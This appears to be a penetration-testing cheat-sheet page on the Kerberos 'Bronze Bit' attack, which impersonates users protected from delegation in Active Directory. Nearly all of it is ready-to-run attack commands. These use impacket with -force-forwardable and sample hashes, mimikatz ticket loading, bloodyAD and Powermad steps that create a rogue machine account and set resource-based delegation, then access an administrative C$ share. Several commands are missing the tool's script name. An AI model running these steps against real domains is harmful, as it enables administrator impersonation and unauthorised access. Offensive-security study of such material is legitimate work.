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Kerberos - Bronze Bit


An attacker can impersonate users which are not allowed to be delegated. This includes members of the Protected Users group and any other users explicitly configured as sensitive and cannot be delegated.

Patch is out on November 10, 2020, DC are most likely vulnerable until February 2021.

⚠ Patched Error Message : [-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)


  • Service account's password hash
  • Service account's with Constrained Delegation or Resource Based Constrained Delegation
  • Impacket PR #1013

Attack #1 - Bypass the Trust this user for delegation to specified services only – Use Kerberos only protection and impersonate a user who is protected from delegation.

# forwardable flag is only protected by the ticket encryption which uses the service account's password 
$ -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain controller> # -> Forwardable

$ -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit

# Access "c$"
ls \\service2.test.local\c$

Attack #2 - Write Permissions to one or more objects in the AD * Windows/Linux:

bloodyAD -u user -p 'totoTOTOtoto1234*' -d test.local --host add computer AttackerService 'AttackerServicePassword'
bloodyAD --host -u user -p 'totoTOTOtoto1234*' -d test.local add rbcd 'Service2$' 'AttackerService$'

# Execute the attack -spn cifs/Service2.test.local -impersonate User2 -dc-ip -force-forwardable 'test.local/AttackerService$:AttackerServicePassword'
* Windows only:
# Create a new machine account
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit

# Set PrincipalsAllowedToDelegateToAccount
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

# Execute the attack
python .\impacket\examples\ -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardable

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null